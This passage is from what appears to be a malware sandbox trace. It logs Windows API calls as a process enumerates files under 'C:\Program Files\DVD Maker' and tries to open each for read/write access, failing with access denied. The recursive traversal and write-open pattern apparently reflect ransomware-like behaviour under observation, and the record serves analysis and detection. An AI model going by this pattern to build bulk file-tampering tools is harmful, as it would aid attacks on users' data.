nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0103.853] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0103.853] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.855] GetLastError () returned 0x5 [0103.855] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0103.855] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0103.855] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0103.855] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0103.855] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.856] GetLastError () returned 0x5 [0103.856] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0103.856] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0103.856] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.857] GetLastError () returned 0x5 [0103.857] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9efb59d0, ftCreationTime.dwHighDateTime=0x1d591d2, ftLastAccessTime.dwLowDateTime=0x6fceaa10, ftLastAccessTime.dwHighDateTime=0x1d5d000, ftLastWriteTime.dwLowDateTime=0x6fceaa10, ftLastWriteTime.dwHighDateTime=0x1d5d000, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="leonard.exe", cAlternateFileName="")) returned 1 [0103.857] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0103.857] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0103.858] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.858] GetLastError () returned 0x5 [0103.858] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0103.858] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\OmdBase.dll") returned 38 [0103.858] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.859] GetLastError () returned 0x5 [0103.859] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0103.860] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\OmdProject.dll") returned 41 [0103.860] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.860] GetLastError () returned 0x5 [0103.860] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0103.860] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Pipeline.dll") returned 39 [0103.860] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.860] GetLastError () returned 0x5 [0103.860] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0103.861] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\PipeTran.dll") returned 39 [0103.861] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.861] GetLastError () returned 0x5 [0103.861] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0103.861] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\rtstreamsink.ax") returned 42 [0103.861] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.861] GetLastError () returned 0x5 [0103.861] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0103.862] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\rtstreamsource.ax") returned 44 [0103.862] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.867] GetLastError () returned 0x5 [0103.868] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0103.868] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\SecretST.TTF") returned 39 [0103.868] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.868] GetLastError () returned 0x5 [0103.868] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0103.868] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared") returned 33 [0103.868] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\*.*") returned 37 [0103.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0103.873] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.873] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0103.873] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh") returned 44 [0103.873] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.873] GetLastError () returned 0x5 [0103.873] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0103.873] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0103.873] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.875] GetLastError () returned 0x5 [0103.875] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0103.875] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0103.875] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.875] GetLastError () returned 0x5 [0103.875] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0103.875] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles") returned 43 [0103.876] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*") returned 47 [0103.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.881] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.885] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0103.885] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0103.885] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.887] GetLastError () returned 0x5 [0103.887] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0103.887] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0103.887] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.887] GetLastError () returned 0x5 [0103.887] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0103.888] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0103.888] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.889] GetLastError () returned 0x5 [0103.889] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0103.889] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0103.889] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.890] GetLastError () returned 0x5 [0103.890] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0103.890] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0103.890] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.890] GetLastError () returned 0x5 [0103.890] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0103.890] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0103.890] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.890] GetLastError () returned 0x5 [0103.890] FindNextFileW (in: 